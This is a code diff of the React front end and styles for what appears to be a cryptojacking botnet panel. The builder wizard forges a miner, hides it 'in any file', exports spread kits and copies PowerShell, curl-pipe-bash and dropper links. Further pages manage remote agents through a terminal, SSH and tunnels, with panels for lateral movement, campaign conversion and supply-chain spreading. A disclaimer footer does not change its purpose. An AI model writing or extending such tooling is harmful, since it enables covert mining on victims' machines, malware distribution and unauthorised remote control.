@@ -1028,6 +1165,189 @@ export default function BuilderPage() {
|
||||
<div className="card builder-form">
|
||||
{simpleMode ? (
|
||||
<>
|
||||
<div className="forge-mission-wizard card operator-deck-card operator-interactive">
|
||||
<p className="font-tech">MISSION RITUAL — 3-STEP WIZARD</p>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Guided flow: pick Ghost/Loud/Spread, choose a spread profile, launch the ritual.
|
||||
Full forge fields below stay available for power users.
|
||||
</p>
|
||||
<div className="forge-mission-wizard-pills" role="tablist" aria-label="Mission wizard steps">
|
||||
{MISSION_WIZARD_STEPS.map((step, idx) => {
|
||||
const status = wizardPillStatus(step, missionWizardStep);
|
||||
return (
|
||||
<button
|
||||
key={step}
|
||||
type="button"
|
||||
role="tab"
|
||||
aria-selected={status === 'active'}
|
||||
className={`forge-mission-wizard-pill ${status}`}
|
||||
disabled={missionBusy}
|
||||
onClick={() => setMissionWizardStep(step)}
|
||||
>
|
||||
<span className="forge-mission-wizard-pill-num">
|
||||
{status === 'done' ? '✓' : idx + 1}
|
||||
</span>
|
||||
{MISSION_WIZARD_STEP_LABELS[step]}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
<div className="forge-mission-wizard-panel">
|
||||
{missionWizardStep === 'mode' && (
|
||||
<div>
|
||||
<p className="label" style={{ marginBottom: '0.5rem' }}>Operation temperament</p>
|
||||
<div className="forge-mission-chip-grid">
|
||||
{MISSION_OPERATION_CHIPS.map((chip) => (
|
||||
<button
|
||||
key={chip.id}
|
||||
type="button"
|
||||
aria-label={chip.label}
|
||||
className={`forge-mission-op-chip ${missionOperationChip === chip.id ? 'active' : ''}`}
|
||||
style={{
|
||||
borderColor: missionOperationChip === chip.id ? chip.color : undefined,
|
||||
color: missionOperationChip === chip.id ? chip.color : undefined,
|
||||
}}
|
||||
disabled={missionBusy}
|
||||
onClick={() => selectMissionOperationChip(chip.id)}
|
||||
>
|
||||
<strong>{chip.label}</strong>
|
||||
<span>{chip.blurb}</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{missionWizardStep === 'profile' && (
|
||||
<div>
|
||||
<p className="label" style={{ marginBottom: '0.5rem' }}>Spread profile (optional)</p>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === '' ? 'active' : ''}`}
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
setSpreadProfile('');
|
||||
}}
|
||||
>
|
||||
None
|
||||
</button>
|
||||
{SPREAD_PROFILES.map((p) => (
|
||||
<button
|
||||
key={p.id}
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
|
||||
style={{
|
||||
borderColor: spreadProfile === p.id ? p.color : undefined,
|
||||
color: spreadProfile === p.id ? p.color : undefined,
|
||||
}}
|
||||
title={p.blurb}
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
setSpreadProfile(p.id);
|
||||
if (form) setForm(applySpreadProfile(form, p.id));
|
||||
}}
|
||||
>
|
||||
{p.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
{spreadProfile
|
||||
? SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb
|
||||
: 'Skip to forge without a spread profile preset.'}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
{missionWizardStep === 'launch' && (
|
||||
<div>
|
||||
<div className="form-group" style={{ marginBottom: '0.5rem', maxWidth: '20rem' }}>
|
||||
<label className="label" htmlFor="mission-campaign">Campaign slug (?c=)</label>
|
||||
<input
|
||||
id="mission-campaign"
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={missionCampaign}
|
||||
disabled={missionBusy}
|
||||
onChange={(e) => setMissionCampaign(e.target.value)}
|
||||
placeholder="forge-mission"
|
||||
/>
|
||||
</div>
|
||||
{(missionBusy || missionStep === 'error') && (
|
||||
<div className="forge-mission-steps" aria-live="polite">
|
||||
{MISSION_STEPS.map((step) => {
|
||||
const status = missionStep
|
||||
? missionStepStatus(step, missionStep, missionExportSkipped)
|
||||
: 'pending';
|
||||
return (
|
||||
<span key={step} className={`forge-mission-step ${status}`}>
|
||||
{status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'}
|
||||
{' '}
|
||||
{MISSION_STEP_LABELS[step]}
|
||||
{step === 'export' && missionExportSkipped ? ' (n/a)' : ''}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
{!missionBusy && missionStep !== 'error' && (
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Copy dropper links.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="forge-mission-wizard-nav">
|
||||
{prevWizardStep(missionWizardStep) && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
const prev = prevWizardStep(missionWizardStep);
|
||||
if (prev) setMissionWizardStep(prev);
|
||||
}}
|
||||
>
|
||||
← Back
|
||||
</button>
|
||||
)}
|
||||
{missionWizardStep !== 'launch' && canAdvanceWizardStep(missionWizardStep, missionOperationChip, spreadProfile) && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
const next = nextWizardStep(missionWizardStep);
|
||||
if (next) setMissionWizardStep(next);
|
||||
}}
|
||||
>
|
||||
Next →
|
||||
</button>
|
||||
)}
|
||||
{missionWizardStep === 'launch' && (
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={missionBusy || building || !canForge}
|
||||
onClick={() => void handleLaunchMission()}
|
||||
>
|
||||
{missionBusy ? 'Ritual running…' : '🚀 Launch Ritual'}
|
||||
</button>
|
||||
{missionBusy && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-danger btn-sm"
|
||||
onClick={handleKillBuild}
|
||||
title="Kill the running compiler immediately"
|
||||
>
|
||||
✕ Kill Build
|
||||
</button>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
@@ -1035,6 +1355,29 @@ export default function BuilderPage() {
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Operation mode presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{OPERATION_MODES.map((m) => (
|
||||
<button
|
||||
key={m.id}
|
||||
type="button"
|
||||
className={`endpoint-chip forge-mode-chip ${operationMode === m.id ? 'active' : ''}`}
|
||||
style={{ borderColor: operationMode === m.id ? m.color : undefined, color: operationMode === m.id ? m.color : undefined }}
|
||||
title={m.blurb}
|
||||
onClick={() => {
|
||||
setOperationMode(m.id);
|
||||
storeOperationMode(m.id);
|
||||
setMissionOperationChip(missionChipForMode(m.id));
|
||||
if (form) setForm(applyOperationMode(form, m.id));
|
||||
}}
|
||||
>
|
||||
{m.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Spread profile presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
@@ -1106,7 +1449,7 @@ export default function BuilderPage() {
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Identity"
|
||||
badge="baked"
|
||||
@@ -1218,7 +1561,7 @@ export default function BuilderPage() {
|
||||
|
||||
{/* ── Connection profile (advanced) ─────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Connection Profile"
|
||||
badge="baked"
|
||||
@@ -1310,7 +1653,7 @@ export default function BuilderPage() {
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Mining Pools"
|
||||
badge="baked"
|
||||
@@ -1343,7 +1686,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="GPU Mining — Ravencoin"
|
||||
badge="baked"
|
||||
@@ -1409,7 +1752,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
badge="baked"
|
||||
@@ -1446,7 +1789,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Platform"
|
||||
badge="baked"
|
||||
@@ -1530,7 +1873,7 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Performance & Resources"
|
||||
badge="baked"
|
||||
@@ -1662,7 +2005,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Install & Process"
|
||||
badge="baked"
|
||||
@@ -1903,7 +2246,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion — Hide miner in any file"
|
||||
badge="baked"
|
||||
@@ -2233,7 +2576,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
|
||||
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||
<div className="form-section operator-deck-card operator-interactive" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||
<ForgeSectionHeader
|
||||
title="PATH FORGE — Recursive Batch Seed"
|
||||
badge="server-only"
|
||||
@@ -2373,7 +2716,7 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Build pipeline"
|
||||
badge="server-only"
|
||||
@@ -2411,7 +2754,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
badge="baked"
|
||||
@@ -2533,7 +2876,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="preflight-panel card">
|
||||
<div className="preflight-panel card operator-deck-card operator-interactive">
|
||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||
<ul className="preflight-list">
|
||||
{preflightChecks.map((c) => (
|
||||
@@ -2646,6 +2989,54 @@ export default function BuilderPage() {
|
||||
{dispenseReveal?.success && (
|
||||
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
||||
)}
|
||||
{missionModal && (
|
||||
<div
|
||||
className="forge-mission-modal-backdrop"
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-labelledby="mission-modal-title"
|
||||
onClick={() => setMissionModal(null)}
|
||||
>
|
||||
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
|
||||
<h3 id="mission-modal-title">Mission complete — links copied</h3>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
|
||||
</p>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>PowerShell</p>
|
||||
<code>{missionModal.ps1}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>curl | bash</p>
|
||||
<code>{missionModal.sh}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>/get dropper</p>
|
||||
<code>{missionModal.get}</code>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => void copyMissionLinks(missionModal)}
|
||||
>
|
||||
Copy all
|
||||
</button>
|
||||
<a
|
||||
href="/spread/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="btn btn-outline btn-sm"
|
||||
>
|
||||
Open spread landing
|
||||
</a>
|
||||
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
|
||||
Done
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
@@ -4,6 +4,38 @@
|
||||
max-width: 1400px;
|
||||
}
|
||||
|
||||
/* ── Sidebar layout + fleet heat mini-map ─────────────────────────────── */
|
||||
|
||||
.crucible-layout {
|
||||
display: grid;
|
||||
grid-template-columns: minmax(200px, 240px) 1fr;
|
||||
gap: 1rem;
|
||||
align-items: start;
|
||||
}
|
||||
|
||||
.crucible-sidebar {
|
||||
position: sticky;
|
||||
top: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-heat-card {
|
||||
padding: 0.75rem !important;
|
||||
}
|
||||
|
||||
.crucible-main {
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
@media (max-width: 960px) {
|
||||
.crucible-layout {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
|
||||
.crucible-sidebar {
|
||||
position: static;
|
||||
}
|
||||
}
|
||||
|
||||
.crucible-sel-summary {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
||||
@@ -17,6 +17,8 @@ import FileManager from '../components/Fleet/FileManager';
|
||||
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
|
||||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||||
import './CruciblePage.css';
|
||||
@@ -524,6 +526,8 @@ export default function CruciblePage() {
|
||||
return next;
|
||||
});
|
||||
|
||||
const selectAgent = (id: string) => setSelectedIds(new Set([id]));
|
||||
|
||||
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
||||
const clearSel = () => setSelectedIds(new Set());
|
||||
|
||||
@@ -885,7 +889,7 @@ export default function CruciblePage() {
|
||||
// ── Render ─────────────────────────────────────────────────────────────
|
||||
|
||||
return (
|
||||
<div className="page fade-in crucible-page">
|
||||
<div className="page fade-in crucible-page operator-deck-page">
|
||||
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
|
||||
@@ -911,6 +915,8 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<AlsoHere page="/crucible" />
|
||||
|
||||
<FleetGroupsStrip
|
||||
groups={groups}
|
||||
liveAgentIds={onlineAgentIds}
|
||||
@@ -920,8 +926,26 @@ export default function CruciblePage() {
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
/>
|
||||
|
||||
<div className="crucible-layout">
|
||||
<aside className="crucible-sidebar">
|
||||
<NeonCard
|
||||
accent="cyan"
|
||||
className="crucible-heat-card operator-deck-card operator-interactive"
|
||||
tilt3d={false}
|
||||
>
|
||||
<FleetHeatMiniMap
|
||||
agents={agents}
|
||||
groups={groups}
|
||||
allIds={allIds}
|
||||
selectedIds={selectedIds}
|
||||
onSelectAgent={selectAgent}
|
||||
/>
|
||||
</NeonCard>
|
||||
</aside>
|
||||
|
||||
<div className="crucible-main">
|
||||
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
|
||||
<NeonCard accent="cyan" className="crucible-roster-card operator-deck-card operator-interactive" hud tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> NODE ROSTER
|
||||
</div>
|
||||
@@ -939,7 +963,7 @@ export default function CruciblePage() {
|
||||
return (
|
||||
<div
|
||||
key={a.id}
|
||||
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||
className={`crucible-node-card operator-interactive ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||
style={{
|
||||
...(sel ? { '--sel-color': color } : {}),
|
||||
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
|
||||
@@ -1098,7 +1122,7 @@ export default function CruciblePage() {
|
||||
|
||||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||||
<div className="crucible-row">
|
||||
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
|
||||
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> GROUPS
|
||||
</div>
|
||||
@@ -1141,7 +1165,7 @@ export default function CruciblePage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
|
||||
<NeonCard accent="amber" className="crucible-actions-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> OPERATIONS
|
||||
{selectedIds.size > 0 && (
|
||||
@@ -1810,7 +1834,7 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
|
||||
{/* ── Terminal ────────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
|
||||
<NeonCard accent="green" className="crucible-term-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-term-header">
|
||||
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
|
||||
<span className="section-ornament">◆</span> TERMINAL
|
||||
@@ -1883,7 +1907,7 @@ export default function CruciblePage() {
|
||||
</NeonCard>
|
||||
|
||||
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
|
||||
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
|
||||
<NeonCard accent="brass" className="crucible-ssh-info operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> SSH ACCESS NOTES
|
||||
</div>
|
||||
@@ -1916,7 +1940,7 @@ export default function CruciblePage() {
|
||||
</NeonCard>
|
||||
|
||||
{singleSelectedAgent && (
|
||||
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
|
||||
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<ProtocolTunnelPanel
|
||||
agentId={singleSelectedAgent.id}
|
||||
agentName={singleSelectedAgent.name}
|
||||
@@ -1953,6 +1977,8 @@ export default function CruciblePage() {
|
||||
setShowGroupModal(false);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -392,7 +392,7 @@ export default function DashboardPage() {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<AlertBanner alerts={alerts} />
|
||||
|
||||
{/* Fleet Health — always above the fold */}
|
||||
@@ -464,13 +464,14 @@ export default function DashboardPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<NeonCard accent="green" className="section" hud>
|
||||
<NeonCard accent="green" className="section operator-deck-card operator-interactive" hud>
|
||||
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
|
||||
<span className="section-ornament">◆</span> Fleet Pipeline
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Visual progress — lit nodes mean that stage is active. <Link to="/guide">Open Field Guide →</Link>
|
||||
Visual progress — lit nodes mean that stage is active.{' '}
|
||||
<a href="/docs/" target="_blank" rel="noopener noreferrer">Open Documentation →</a>
|
||||
</p>
|
||||
<FleetPipelineStatus
|
||||
hasBuilds={hasBuilds}
|
||||
@@ -482,7 +483,7 @@ export default function DashboardPage() {
|
||||
</NeonCard>
|
||||
|
||||
<section className="gauge-row">
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={totalHashrate}
|
||||
max={Math.max(totalHashrate * 1.2, 1000)}
|
||||
@@ -492,7 +493,7 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="green" className="gauge-card" hud>
|
||||
<NeonCard accent="green" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={onlinePct}
|
||||
label="Online"
|
||||
@@ -501,10 +502,10 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" className="gauge-card" hud>
|
||||
<NeonCard accent="purple" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={avgCpu}
|
||||
label="CPU"
|
||||
@@ -676,7 +677,7 @@ export default function DashboardPage() {
|
||||
|
||||
{/* Gauge row */}
|
||||
<section className="gauge-row rvn-gauges">
|
||||
<NeonCard accent="gold" className="gauge-card" hud>
|
||||
<NeonCard accent="gold" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={totalGPUHashrate}
|
||||
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
|
||||
@@ -686,7 +687,7 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={gpuHashrate15s}
|
||||
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
|
||||
@@ -696,7 +697,7 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={gpuAgents.length}
|
||||
max={Math.max(agents.length, 1)}
|
||||
@@ -919,7 +920,7 @@ export default function DashboardPage() {
|
||||
<NeonCard
|
||||
key={agent.id}
|
||||
accent={agent.status === 'online' ? 'cyan' : 'brass'}
|
||||
className="agent-card detailed machine-panel"
|
||||
className="agent-card detailed machine-panel operator-deck-card operator-interactive"
|
||||
style={{ animationDelay: `${i * 0.05}s` } as CSSProperties}
|
||||
>
|
||||
<div className="agent-card-header">
|
||||
|
||||
@@ -29,6 +29,26 @@
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.emberwake-technique-list {
|
||||
margin: 0;
|
||||
padding-left: 1.2rem;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-dim, #aaa);
|
||||
}
|
||||
|
||||
.emberwake-technique-list li {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.emberwake-technique-list a {
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.emberwake-technique-list a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.emberwake-campaign-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
@@ -49,3 +69,771 @@
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--war-room {
|
||||
border-left: 4px solid #f43f5e;
|
||||
}
|
||||
|
||||
.war-room-toolbar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.75rem;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 0.75rem;
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-dim, #aaa);
|
||||
}
|
||||
|
||||
.war-room-table-wrap {
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.war-room-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.war-room-table th,
|
||||
.war-room-table td {
|
||||
padding: 0.45rem 0.6rem;
|
||||
text-align: right;
|
||||
border-bottom: 1px solid #222a38;
|
||||
}
|
||||
|
||||
.war-room-table th:first-child,
|
||||
.war-room-table td:first-child {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.war-room-table th {
|
||||
color: var(--text-dim, #aaa);
|
||||
font-weight: 600;
|
||||
font-size: 0.72rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
|
||||
.war-room-table tbody tr:hover {
|
||||
background: rgba(61, 214, 198, 0.04);
|
||||
}
|
||||
|
||||
.war-room-sparkline {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
gap: 2px;
|
||||
height: 28px;
|
||||
min-width: 72px;
|
||||
}
|
||||
|
||||
.war-room-sparkline span {
|
||||
flex: 1;
|
||||
min-width: 4px;
|
||||
background: linear-gradient(180deg, #3dd6c6 0%, #1a6b62 100%);
|
||||
border-radius: 2px 2px 0 0;
|
||||
opacity: 0.85;
|
||||
}
|
||||
|
||||
.war-room-conv {
|
||||
color: #c9a227;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-online {
|
||||
color: #3dd6c6;
|
||||
}
|
||||
|
||||
.war-room-empty {
|
||||
margin: 0;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-dim, #aaa);
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--violet {
|
||||
border-left: 4px solid #a78bfa;
|
||||
}
|
||||
|
||||
.supply-chain-wizard-header {
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-family-tabs {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.75rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.supply-chain-family-tab {
|
||||
padding: 0.35rem 0.85rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid #2a3040;
|
||||
background: #0d1018;
|
||||
color: var(--text-dim, #aaa);
|
||||
font-size: 0.82rem;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.supply-chain-family-tab.active {
|
||||
border-color: #a78bfa;
|
||||
color: #e9d5ff;
|
||||
box-shadow: 0 0 12px rgba(167, 139, 250, 0.25);
|
||||
}
|
||||
|
||||
.supply-chain-step-rail {
|
||||
margin: 0.75rem 0 1rem;
|
||||
}
|
||||
|
||||
.supply-chain-step-num {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.1rem;
|
||||
height: 1.1rem;
|
||||
border-radius: 50%;
|
||||
background: rgba(167, 139, 250, 0.2);
|
||||
font-size: 0.65rem;
|
||||
}
|
||||
|
||||
.supply-chain-step-panel {
|
||||
padding: 0.75rem 0;
|
||||
border-top: 1px solid #222a38;
|
||||
border-bottom: 1px solid #222a38;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-preview {
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.65rem 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
border-radius: 6px;
|
||||
border: 1px solid #222a38;
|
||||
}
|
||||
|
||||
.supply-chain-preview-url {
|
||||
display: block;
|
